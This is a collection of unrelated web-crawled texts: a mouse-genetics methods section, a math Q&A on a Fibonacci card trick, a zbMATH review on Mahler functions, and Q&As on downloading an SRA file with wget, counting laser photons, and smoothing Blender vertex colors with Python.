Knockout data collected across multiple batches were compared to a year’s worth of control data collected on mice from the same genetic background. For the continuous data, an iterative top down mixed modeling strategy fitting Eq. 1 was performed using PhenStat46, an R package version 2.6.047 freely available from Bioconductor48. The package’s mixed model framework was used as default except the argument equationType was set to withoutWeight and dataPointsThreshold was set to 2. The model optimization implemented will adjust for unequal variances. The genotype contribution test p value was adjusted for multiple testing to control the false discovery rate to 5%. This statistical method has been studied through simulations and resampling studies49 and found to be robust and reliable with a multi-batch workflow, where the knockout mice are split into multiple phenotyping batches.
$${\mathrm{Y\sim Genotype + Sex + Genotype}} \ast {\mathrm{Sex + }}\left( {{\mathrm{1|Batch}}} \right)$$
(2)
For the categorical data, a Fisher Exact Test was fitted comparing the proportions seen between wildtype and knockout mice for each sex independently using PhenStat FE Framework with the default settings. This simple method is appropriate for categorical phenotyping data as discussed in Karp et al.46. The minimum p value returned from the two tests for a variable was adjusted for multiple testing to control the false discovery rate to 5%. The number of caudal vertebrae were recoded to a categorical variable by classifying mice with less than 28 vertebrae as “low,” those with greater than 29 as “high” and all others as “normal.” For ABR data, the knockout dataset was smaller with only four data points for each variable, therefore to meet the assumption of the test, the data was analyzed using a reference range plus methodology which calls a significant phenotype when the majority of animals lie outside the natural variation seen in the control animals47. The implementation within PhenStat RR framework is based on classifying the analyzable variable values as high, normal or low based on the natural variation seen within the control data and comparing the proportions seen with a Fisher Exact Test. The minimum p value returned from the two tests ((1) increase in high classification and (2) increase in low classification) for a variable was adjusted for multiple testing to control the false discovery rate to 5%. As a high throughput program with many variables and multiple analysis tools, a single power calculation would not help; instead, the pipeline has been developed through empirically selecting a workflow which has historically given hits at a rate that would be cost effective for the program.
### Data analysis for genotype comparison
Mixed model data analysis was performed using R (package: nlme version 3.1). An iterative top down modeling strategy was implemented starting with the fully loaded model (Eq. 2). For the Origins of Bone and Cartilage Disease (OBCD) screen50, where only one sex was collected, Eq. 3 details the starting model. The final model was selected by first selecting a structure for the random effects, then a covariance structure for the residual, and then the model reduced by removing non-significant fixed effects. Then the genotype effect was tested, model diagnostics assessed and contrasts used to directly compare LmnaG609G/G609G and LmnaG609G/G609GNat10+/− mice if the genotype effect was significant. During the model building stage, the hypotheses were tested with a threshold of p < 0.05. For the hypothesis test of primary interest, the impact of genotype, p-values were adjusted to account for the multiple comparisons completed to control the false discovery rate to 0.05. The difficulty associated with the breeding and viability challenged the production of these mice for the array of phenotyping used in this paper. 136 mating pairs were set up over more than 3 years that generated 181 LmnaG609G homozygous (single or Nat10 double-mutant) mice that were used at specific ages together with littermate controls. The n was thus limited by breeding constraint and we have used n > 5.
$${\mathrm{Y}\sim Genotype}+ {\mathrm{Age}} + \left( {1|{\mathrm{Batch}}} \right)$$
(3)
### Heart rate comparison
Heart measurements were performed using the ecgTUNNEL (emka TECHNOLOGIES), a noninvasive ECG system, using the manufacturer’s recommendations51. All ECG recording sessions were performed during daytime and the data analyzed using the iox2, data acquisition, and analysis software (emka TECHNOLOGIES). Each animal was put inside the tunnel, which was then closed, ensuring the animal was properly restrained. To minimize the effects of stress, animals were allowed to stay in the restraining system for 1 min before starting ECG recordings. Indeed, direct observation of the animals and ECG traces proved that they were calm and that the heart rate was stable. For data acquisition, a series of repeated measurements were done on the same animal at each time-point and data for the same animal was collected over the different week intervals. For the data collected on the heart rate screen, a multilevel regression model was performed using R (package:nlme version 3.1). A model [Eq. 1], treating genotype, sex, and age as fixed effects whilst the repeat measure nature of the dataset was accounted for by treating each mouse as a random effect, was fitted to the data. The genotype effect was tested and contrasts used to directly compare LmnaG609G/G609G and LmnaG609G/G609GNat10+/− mice if the genotype effect was significant. For the hypothesis test of primary interest, the impact of genotype, p-values were adjusted to account for the multiple comparisons completed to control the false discovery rate to 0.05. Visual inspection of the data was used to assess whether variance was equal and no outliers were present thus ensuring the assumptions of the model were met.
### RNA extraction and qPCR analysis
RNA was extracted from tissues from n > 5 independent mice/group using the RNeasy fibrous tissue mini kit (50; cat. No.7404; Qiagen) and quantified using the NanoDrop 1000 Spectrophotometer (Thermo Fisher Scientific). 2 µg RNA/sample was used to produce cDNA using the High-Capacity RNA-to-cDNA kit (cat. No. 4387406; Applied Biosystems/Thermo Fisher Scientific). qPCR was carried out using the TaqMan system (Universal Master Mix II, with UNG, 4440038; Applied Biosystems/Thermo Fisher Scientific) on an Applied Biosystems Quant Studio 3 machine. n ≥ 3 mice were used for each genotype, with 50 ng cDNA for each sample run in triplicate or quadruplicate. Thermo Fisher Scientific Nat10 (Mm00462302_m1) and Cdkn1a/p21 (Mm00432448_m1) primers were used as experimental probes while Gapdh (Mm99999915_g1), Actb (Mm00607939_s1) and/or Rn18s (Mm03928990_g1) were used as endogenous controls. The Relative Standard Curve pre-set program was used throughout and data analysis was performed using the Relative Quantification application, powered by the Thermo Fisher Scientific cloud platform. To account for technical replicates the mean value for a mouse was calculated and used for the statistical assessment. For each sample, data was normalized to the endogenous controls and represented as relative to the wildtype control. Data was evaluated by visual inspection and an F test of the variance was calculated in order to estimate normality and equal variance. All graphs and part of the statistical analysis in the manuscript (Student’s t-tests; Kaplan–Meier estimator and statistical analysis; Fishers exact test) were generated and calculated using GraphPad Prism version 7.0a for Mac OS X, GraphPad Software, La Jolla, California, USA, www.graphpad.com.
### RNAseq data analysis
RNA was extracted as described above and quality control assessed using the 2100 Bioanalyzer (Agilent Technologies). Because of financial constrains we used n = 2 mice/group. Transcriptome data was obtained using paired end sequencing, with read lengths of 150 bp, on a NextSeq 500 machine. Trimmed reads were aligned using STAR aligner (version 2.4.2a) to the mouse genome assembly GRCm38. Normalization of the read counts and differential expression analysis was performed using three commonly used software programs: DeSeq252, edgeR53, and Cuffdiff 254. Our conservative approach defined genes differentially expressed as those found to be in common between the results of at least two of the three software programs mentioned above. The log-2 fold change in gene expression presented in Fig. 2d and Fig. 4e correspond to the log-2 fold change returned by DeSeq2. DeSeq2 and edgeR used as an input raw read counts produced by featureCounts from the Bioconductor (version 3.3) Rsubread package (14) in R version 3.3.1. For the DeSeq2 and edgeR analyzes, we filtered out genes that had 0 or 1 read support across all samples. In the DeSeq2 differential expression analysis, we selected genes that were up or down regulated at a FDR lower than 0.1. In edgeR differential expression analysis, we selected genes up or down regulated with a p-value less than 0.05. Gene ontology analysis was performed using the mouse genome informatics visual annotation display55. For the analysis of the biological term fold enrichment, a ratio between the frequency of genes in our set to frequency of genes in the whole genome was calculated56.
### Data availability
All data presented in the manuscript are available from the corresponding authors upon reasonable request. The mouse phenotypic data from the present manuscript are available in the supplementary Data. Mouse phenotypic data are available from IMPC and Zenodo. RNAseq data are available from ArrayExpress under accession code E-MTAB-6578. | 2023-01-30 06:01:08 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.32495641708374023, "perplexity": 9992.611123212906}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2023-06/segments/1674764499801.40/warc/CC-MAIN-20230130034805-20230130064805-00261.warc.gz"} |
https://math.stackexchange.com/questions/1392278/find-minimum-number-of-card-which-is-needed-to-perform-trick | # find minimum number of card which is needed to perform trick
some one ask you to choose number between $1$ and $n$ both inclusively then he shows you some card having one of more element and asks whether the card contains your chosen number or not after showing number of cards he immediately tells the number which you have chosen trick is simple because he just adding the first integer written on the cards that contain the integer you had thought of, and then gives the sum as the answer.
The integers in all the lists are between 1 and N. Note that the same integer may appear in more than one card
Thus his trick will work well in every case. And we can check it easily that the cards are sorted in lexicographical order and two consecutive cards have no common integers.
Required question is find minimum number of cards such that the tricks work in every case??
for example
$n=1$ example 1, only 1 card containing {1} will work.
$n=4$ In example 2, make 3 cards containing {1,4}, {2} and {3,4}.
Assume you thought of 1, then you will select the 1st card {1,4}, then she will correctly figure out the integer you thought being 1.
Assume you thought of 2, then you will select the 2nd card {2}, then she will correctly figure out the integer you thought being 2.
Assume you thought of 3, then you will select the 3rd card {3,4}, then she will correctly figure out the integer you thought being 3.
Assume you thought of 4, then you will select 1st card {1,4} and 3rd card {3,4}, then she will calculate the sum of the first integers of the two card $1 + 3 = 4$, and she will answer it.
some more examples are
$n=1$ ans $= 1$
$n=2$ ans $=2$
$n=3$ ans $=3$
$n=4$ ans $=3$
$n=5$ ans $=4$
$n=6$ ans $=4$
$n=7$ ans $=4$
$n=8$ ans $=5$
$n=9$ ans $=5$
$n=10$ ans $=5$
• For n=4, can't you use the following 2 cards: {2, 4} and {3, 4}? Then if your number is on no card, it's 1, if it's on only the first it is 2, if it's on only the second it is 3, if it is on both it is 4. – jschnei Aug 10 '15 at 18:50
• no two consecutive card has any element in common – Syed Shibli Aug 10 '15 at 18:53
• Okay, but you can still do 5 with only 3 cards: {2, 5}, {3}, {4, 5} – jschnei Aug 10 '15 at 19:03
• It looks like the question was edited again: is there still the restriction that no two consecutive cards have any element in common? – jschnei Aug 10 '15 at 19:06
• yes...each and every integer from 1 to n must be in cards but no two number should be same in one card and no two consecutive card has any element in common – Syed Shibli Aug 10 '15 at 19:08
Assuming I'm understanding the question correctly, which is that the cards must be presented
1. In lexicographic order
2. Such that no two consecutive cards share any numbers
3. Such that each number from 1 to $n$ belongs to some card
then the answer is given by $f(n) = \max \{ m \mid F_{m} \leq n\}$ where $F_{m}$ is the $m$th Fibonacci number (with $F_{1}=1$, $F_{2}=2$, $F_{n} = F_{n-1} + F_{n-2}$ for $n \geq 3$).
We can prove this as follows. We'll first show you need at least $f(n)$ cards. Let's assume your trick only needs $c$ cards. Then every set of responses by the person with the number can be represented as a binary string of length $c$ (where the $i$th bit is $1$ if his number is on the $i$th card). Note also that there can be no two consecutive $1$s in this string, since no two consecutive cards are allowed to share any numbers in common. Therefore the number of distinct responses by the person is at most the number of binary strings of length $c$ with no two consecutive $1$s.
Now, the number of binary strings of length $c$ with no two consecutive $1$s is just $F_{c+1}$. To see this, note that if $S_c$ is the set of binary strings of length $c$ with no two consecutive $1$s, then each string in $S_c$ either is a string in $S_{c-2}$ followed by $01$ or a string in $S_{c-1}$ followed by $0$. Therefore $|S_{c}| = |S_{c-1}| + |S_{c-2}|$; since $S_{1} = 2 = F_2$ and $S_{2} = 3 = F_3$, it follows that $|S_c| = F_{c+1}$.
Therefore there are at most $F_{c+1}$ different responses to $c$ cards. In fact, since each number must belong to some card, the all $0$ response is not allowed, so there are at most $F_{c+1} - 1$ different responses to the $c$ cards. It therefore follows that with $c$ cards you can distinguish at most up to $F_{c+1} - 1$ different numbers and therefore that to distinguish the $F_{c+1}$ numbers from $1$ to $F_{c+1}$ you need at least $c+1 = f(F_{c+1})$ cards.
We'll now show that it is possible to distinguish all the numbers up to $F_{c+1} - 1$ with at most $c$ cards. To do this, note that by Zeckendorf's theorem we can write any number $x$ uniquely as a sum $x = \sum_{i\in S} F_{i}$ of Fibonacci numbers such that if $i \in S$ then $i+1 \not \in S$ (i.e. no two consecutive Fibonacci numbers are used). For $x \leq F_{c+1} - 1$, only the first $c$ Fibonacci numbers are used. Therefore, for each $1 \leq x \leq F_{c+1} - 1$, put $x$ on the $i$th card if $F_{i}$ appears in its Zeckendorf representation.
Then given the set $S$ of cards $x$ belongs to, we can recover $x$ simply via $x = \sum_{i\in S} F_{i}$. Moreover, by the property of the Zeckendorf representation $x$ cannot belong to two consecutive cards. Since the smallest number on card $i$ is $F_{i}$, the cards are furthermore in lexicographic order, and additionally one can reconstruct $x$ by summing the smallest number on each of the cards $x$ belongs to. This completes the proof. | 2019-09-15 22:46:53 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.683720052242279, "perplexity": 246.82143036265825}, "config": {"markdown_headings": true, "markdown_code": false, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2019-39/segments/1568514572436.52/warc/CC-MAIN-20190915215643-20190916001643-00354.warc.gz"} |
https://zbmath.org/?q=an:06836755 | ## A problem about Mahler functions.(English)Zbl 1432.11086
Summary: Let $$K$$ be a field of characteristic zero and $$k$$ and $$l$$ be two multiplicatively independent positive integers. We prove the following result that was conjectured by J. H. Loxton and A. J. van der Poorten [J. Reine Angew. Math. 330, 159–172 (1982; Zbl 0468.10019); ibid. 392, 57–69 (1988; Zbl 0656.10033)] during the Eighties: a power series $$F(z)\in K[[z]]$$ satisfies both a $$k$$- and a $$l$$-Mahler-type functional equation if and only if it is a rational function.
### MSC:
11J81 Transcendence (general theory) 11B85 Automata sequences 65Q20 Numerical methods for functional equations
Mahler functions
### Citations:
Zbl 0468.10019; Zbl 0656.10033
Full Text: | 2022-07-03 05:06:38 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.5763880610466003, "perplexity": 1203.7726754240289}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.3, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2022-27/segments/1656104215790.65/warc/CC-MAIN-20220703043548-20220703073548-00061.warc.gz"} |
https://bioinformatics.stackexchange.com/questions/6949/wget-for-links-inside-html-pages | wget for links inside html pages
I am trying to download a file from the following repository: https://trace.ncbi.nlm.nih.gov/Traces/sra/?run=SRR7276474
As you can see, there are several layers to the webpage. For example, clicking on the download tab doesn't change the URL and, the link is not a 'download link' per ce - where simply clicking the link automates a download. I have tried some of the answers on the forum, where they have advised using quotes and the operation: wget "url/?target=link". This however does not work in the following instance.
• Thanks, found it. But doesn't wget https://sra-download.ncbi.nlm.nih.gov/traces/sra64/SRZ/007276/SRR7276474/P1TLH.bam work? – terdon Feb 4 '19 at 15:40
• It does! Thank you so much. What is the logic behind it though? Don't quite understand why the original command was not working.. – h3ab74 Feb 4 '19 at 15:45
• Because you weren't using the link to that file, presumably. Wget will download what you tell it to, so you need to tell it to get the target of the link you want. – terdon Feb 4 '19 at 15:48
If you want to download a file, you need to use the link to that file. Your original attempt, wget https://trace.ncbi.nlm.nih.gov/Traces/sra/?run=SRR7276474 wouldn't work since that's a link to the trace page of the relevant run. If you want to download something else, just right click on the link (the one in the screenshot in your question), copy the URL and use that:
wget https://sra-download.ncbi.nlm.nih.gov/traces/sra64/SRZ/007276/SRR7276474/P1TLH.bam | 2020-02-23 17:49:30 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.34587496519088745, "perplexity": 1131.26023883582}, "config": {"markdown_headings": false, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2020-10/segments/1581875145818.81/warc/CC-MAIN-20200223154628-20200223184628-00424.warc.gz"} |
https://www.physicsforums.com/threads/simple-physics-question.49735/ | # Simple Physics Question
1. Oct 26, 2004
### stunner5000pt
A laser emits light at a wavelength of 632.8nm. The laser beams power is 1.0mW. Find the number of wave crests per second passing through nay point in the beam.
so f = $$\frac{c}{\lambda} = 2.1 * 10^ -15$$
(while you're at it tell me what's wrong with my code too, please)
f = c /lambda = 2.1x 10^-15 Hz
so then i know the frequency and the inverse of this is the period. The number of crests per second is the period (?) so the frequency gives the number of crests per second??
Last edited: Oct 26, 2004
2. Oct 26, 2004
### Galileo
Hi stunner,
You know the power, which is the energy per second passing by.
You know the energy of a single photon (??wave crests??) from $E=h\nu$.
Hope this is the info you need and may use.
3. Oct 26, 2004
### stunner5000pt
SO since P = E / t which is PER second and hf would give the energy per second.
So HF is the number of photons (crests) passing throiugh the beam at one second???
Am i right here? Or have i misinterpreted something
4. Oct 27, 2004
### Galileo
P (power) is energy per second (given).
hf is the energy per photon (given).
So the number of photons passing by per second is... | 2017-06-26 21:14:35 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.5812512040138245, "perplexity": 1925.2237889970868}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2017-26/segments/1498128320865.14/warc/CC-MAIN-20170626203042-20170626223042-00562.warc.gz"} |
https://blender.stackexchange.com/questions/77314/smoothing-vertex-colors-values | Smoothing vertex_colors values
I'm coloring a mesh using vertex colors:
mesh = cur_obj.data
vcol_layer = mesh.vertex_colors.new('Col')
for ind in indices:
vcol_layer.data[ind].colors = colors[ind]
I don't have values for all the vertices. Can I get values for these vertices by smoothing?
****** Update **********
Let me be more clear. Here is the code I'm using to color objects:
mesh = cur_obj.data
scn = bpy.context.scene
valid_verts = np.where(np.abs(verts_values) >= threshold)[0]
verts_colors = calc_colors(verts_values)
scn.objects.active = cur_obj
cur_obj.select = True
vcol_layer = mesh.vertex_colors.new('Col')
for vert in valid_verts:
x = lookup[vert]
for loop_ind in x[x > -1]:
d = vcol_layer.data[loop_ind]
d.color = verts_colors[vert]
Where the lookup table was created using the following function:
def calc_faces_verts(verts, faces, out_file):
_faces = faces.ravel()
faces_arg_sort = np.argsort(_faces)
faces_sort = np.sort(_faces)
faces_count = Counter(faces_sort)
max_len = max([v for v in faces_count.values()])
lookup = np.ones((verts.shape[0], max_len)) * -1
diff = np.diff(faces_sort)
n = 0
for ind, (k, v) in enumerate(zip(faces_sort, faces_arg_sort)):
lookup[k, n] = v
n = 0 if ind < len(diff) and diff[ind] > 0 else n + 1
np.save(out_file, lookup.astype(np.int))
if len(_faces) != int(np.max(lookup)) + 1:
raise Exception('Wrong values in lookup table! ' +
'faces ravel: {}, max looup val: {}'.format(len(_faces), int(np.max(lookup))))
This is working great when I have a value per vertice. The problem starts when this isn't the case. For example, I have an object with >100k vertices, where only ~4k have values. Currently, I'm smoothing those values on the surface outside Blender and saves the result to a numpy array (verts_values). The question is whether I can do the smoothing inside Blender (which hopefully will be also faster), without the necessity of a pre-processing step.
**** Update ****
You can find here some example files:
1. vertices.npy - An array of vertices indices that I have values for
2. data.npy - values for vertices.npy
3. lh.pial.ply - The object I want to color
4. lh.pial.npz - Same as 3, but in here the vertices and faces are stored in a npz file (faster and easier to read)
To calculate the colors, I just pick a colormap (jet for example), and do something like this:
import matplotlib
import matplotlib.pyplot as plt
import matplotlib.cm as cmx
def array_to_color(x, color_map):
x_min, x_max = np.min(x), np.max(x)
cm = plt.get_cmap(color_map)
cNorm = matplotlib.colors.Normalize(vmin=x_min, vmax=x_max)
scalar_map = cmx.ScalarMappable(norm=cNorm, cmap=cm)
return scalar_map.to_rgba(x)
**** Update ****
I've used both suggested solutions, and added another option to set a threshold for the values. Here is the code:
import bpy
import numpy as np
from collections import defaultdict
def color_vertices_rgb(obj, vert_colors, fixed_vertices, vert_links, verts_to_loop, loops_num=25):
"""Merges the colors assigned to the FIXED vertices across the rest of the mesh"""
obj.update_from_editmode()
mesh = obj.data
scn = bpy.context.scene
# check if our mesh already has Vertex Colors, and if not add some... (first we need to make sure it's the active object)
scn.objects.active = obj
obj.select = True
mesh.vertex_colors.new()
print("Captured.")
for ind in range(loops_num):
new_colors = {}
for vert in obj.data.vertices:
vertidx = vert.index
if vertidx not in fixed_vertices:
# Copy new colors back to vert_colors
for vert in obj.data.vertices:
vertidx = vert.index
if vertidx not in fixed_vertices:
vert_colors[vertidx] = new_colors[vertidx]
print("Storing colors...")
for vert in obj.data.vertices:
vertidx = vert.index
set_vertex_color(obj, vertidx, vert_colors[vertidx], verts_to_loop)
def set_vertex_color(obj, vertid, color, verts_to_loop):
for loop_index in verts_to_loop[vertid]:
obj.data.vertex_colors[0].data[loop_index].color = color
def make_verts_to_loop_lookup(obj):
verts_to_loop_verts = defaultdict(list)
for li, l in enumerate(obj.data.loops):
verts_to_loop_verts[l.vertex_index].append(li)
return verts_to_loop_verts
r = 0.0
g = 0.0
b = 0.0
num_verts = 0
r = r + col[0]
g = g + col[1]
b = b + col[2]
num_verts += 1
return (r / num_verts, g / num_verts, b / num_verts)
verts = []
for edge in obj.data.edges:
if edge.vertices[0] == vertid:
verts.append(edge.vertices[1])
elif edge.vertices[1] == vertid:
verts.append(edge.vertices[0])
return verts
verts_lookup = defaultdict(list)
for ind, edge in enumerate(obj.data.edges):
verts_lookup[edge.vertices[0]].append(edge.vertices[1])
verts_lookup[edge.vertices[1]].append(edge.vertices[0])
return verts_lookup
def get_vertices_colors(obj, fixed_vertices_set, fixed_vertices_data, default_color=(1, 1, 1)):
fixed_vertices_colors = calc_colors(fixed_vertices_data)
vert_colors = {}
fixed_verts_ind = 0
for vert in obj.data.vertices:
vert_ind = vert.index
if vert_ind in fixed_vertices_set:
vert_colors[vert_ind] = fixed_vertices_colors[fixed_verts_ind]
fixed_verts_ind += 1
else:
vert_colors[vert_ind] = default_color
return vert_colors
def calc_colors(data):
# todo: Calc the colors according to the data
colors = None
return colors
def get_fixed_vertices(fixed_vertices_data, threshold=0):
fixed_vertices_set = set()
for ind, fix_vert in enumerate(fixed_vertices):
if abs(fixed_vertices_data[ind]) > threshold:
return fixed_vertices_set
threshold = 1
default_color = (1, 1, 1)
loops_num = 250
object_name = 'my_object'
obj = bpy.data.objects[object_name]
fixed_vertices_set = get_fixed_vertices(fixed_vertices_data, threshold)
verts_to_loop_verts = make_verts_to_loop_lookup(obj)
vertices_colors = get_vertices_colors(obj, fixed_vertices_set, fixed_vertices_data, default_color)
color_vertices_rgb(obj, vertices_colors, fixed_vertices_set, linked_verts_lookup, verts_to_loop_verts, loops_num)
The calc_colors function implementation is out of this scope, so I left it empty. Outside Blender I've created colormap numpy array (cm: 256x3) from matplotlib, and I'm using this function to calculate the colors:
def calc_colors(vert_values, data, cm):
data_min, data_max = np.min(data), np.max(data)
colors_ratio = 256 / (data_max - data_min)
colors_indices = ((np.array(vert_values) - data_min) * colors_ratio).astype(int)
verts_colors = cm[colors_indices]
return verts_colors
Thanks for your help! I wish I could split the bounty...
• What do you mean by "smoothing"? Is it that you have a harsh transition between colored and uncolored areas and you want a more gradual transition? – TLousky Apr 21 '17 at 16:48
• I think the question is very unclear for the following reasons: 1. As said @TLousky what do you mean by smoothing? 2. calc_faces_verts does not refer to any bpy types: what are the parameters? 3. By which way is it possible to not "have a value per vertice"? – lemon Apr 21 '17 at 17:26
• In smoothing, I mean smoothing the colors for vertices (or faces) without values, so all the faces in the mesh will be colored, something like 2D interpolation. calc_faces_verts is being called offline (outside Blender). I'm sending the verts and faces of a given mesh, which I, reading from a ply file. – Noam Peled Apr 21 '17 at 17:29
• OK, it's a bit more clear, I think. But other questions: you are referring to an outside of Blender process. In this process (for an unknown reason?) some vertices have no colors (we don't know why and how, and also we don't know how these colors are chosen, but ok). From that, it seems you can identify colored vertices and non colored. The calculation could be a barycentric attribution considering the edge lengths connecting each non colored vertex to its (colored) neighbors. Is that the kind of thing you are looking for? – lemon Apr 21 '17 at 17:51
• Yes, exactly, barycentric interpolation looks promising! If you are interested, the mesh is a brain's hemisphere, and I'm doing source reconstruction from EEG/MEG sensors to the cortex. To make this process faster, I'm calculating the values only for ~4k vertices, and now I want to interpolate the values for the rest of the vertices. The colors are defined using a colormap. – Noam Peled Apr 21 '17 at 20:03
I was developing a script for a similar purpose and it should be applicable to your situation.
The script is as follows :
import bpy
def color_vertices_rgb(obj):
"""Merges the colors assigned to the FIXED vertices across the rest of the mesh"""
obj.update_from_editmode()
mesh = obj.data
scn = bpy.context.scene
#check if our mesh already has Vertex Colors, and if not add some... (first we need to make sure it's the active object)
scn.objects.active = obj
obj.select = True
mesh.vertex_colors.new()
vert_cols = mesh.vertex_colors[0]
fixed_vertices = []
vert_colors = {}
print("Capturing data...")
for vert in obj.data.vertices:
print(str(vert.index))
vertidx = vert.index
if vertex_in_group(obj,vertidx, "FIXED"):
fixed_vertices.append(vertidx)
vert_colors[str(vertidx)] = get_vertex_color(obj, vertidx)
else:
vert_colors[str(vertidx)] = (0.5,0.5,0.5)
print("Captured.")
for p in range(1,250):
print("Pass "+str(p))
new_colors = {}
for vert in obj.data.vertices:
vertidx = vert.index
red = color[0]
green = color[1]
blue = color[2]
if vertidx in fixed_vertices:
red = vert_colors[str(vertidx)][0]
green = vert_colors[str(vertidx)][1]
blue = vert_colors[str(vertidx)][2]
new_colors[str(vertidx)] = (red,green,blue)
#Copy new colors back to vert_colors
for vert in obj.data.vertices:
vertidx = vert.index
vert_colors[str(vertidx)] = new_colors[str(vertidx)]
print("Storing colors...")
for vert in obj.data.vertices:
vertidx = vert.index
set_vertex_color(obj, vertidx, vert_colors[str(vertidx)])
def vertex_in_group(obj, vertidx, group):
"""Looks for the named vertex 'group' on the specified 'obj'
and returns true or false depending on whether the specified
'vert' is in that 'group'"""
groupindex = obj.vertex_groups[group].index
for v in obj.data.vertices:
if v.index == vertidx:
for g in v.groups:
if g.group == groupindex:
return True
return False
def get_vertex_color(obj, vertid):
for loop in obj.data.loops:
if loop.vertex_index == vertid:
return obj.data.vertex_colors[0].data[loop.index].color
return (0.0,0.0,0.0)
def set_vertex_color(obj, vertid, color):
for loop in obj.data.loops:
if loop.vertex_index == vertid:
obj.data.vertex_colors[0].data[loop.index].color = color
r = 0.0
g = 0.0
b = 0.0
num_verts = 0
r = r + col[0]
g = g + col[1]
b = b + col[2]
num_verts += 1
return (r/num_verts, g/num_verts, b/num_verts)
verts = []
for edge in obj.data.edges:
if edge.vertices[0] == vertid:
verts.append(edge.vertices[1])
elif edge.vertices[1] == vertid:
verts.append(edge.vertices[0])
return verts
#Invoke it
color_vertices_rgb(bpy.context.scene.objects["Icosphere"])
The script processes each vertex in turn and sets its color to the average of its neighbours. The result of this is to smear the colors over the surface. Putting a vertex in a vertex group named 'FIXED' causes that vertex to be excluded from the process so that its color contributes to its neighbours but it not itself updated. This means that those 'FIXED' vertices remain unchanged and their colors are spread over the rest of the mesh.
For example, starting with an Icosphere I placed 3 vertices in the FIXED vertex group as shown :
I manually painted those vertices with specific colors.
Running the script produced the following result :
Hopefully this will help with your situation - place your vertices with 'known' values in the FIXED vertex group and ensure they are set to their initial colors and run the script, generating a new set of vertex colors.
Note that the last line of the script needs to be amended to run the function on the relevant object (in my case this was named 'Icosphere'). Also, if you need more or less 'passes' to get a smooth result you could amend the 'Range' line ('for p in range(1,xxx)') to something other than '250'. More passes will take longer. Less passes will spread the colors over a shorter range.
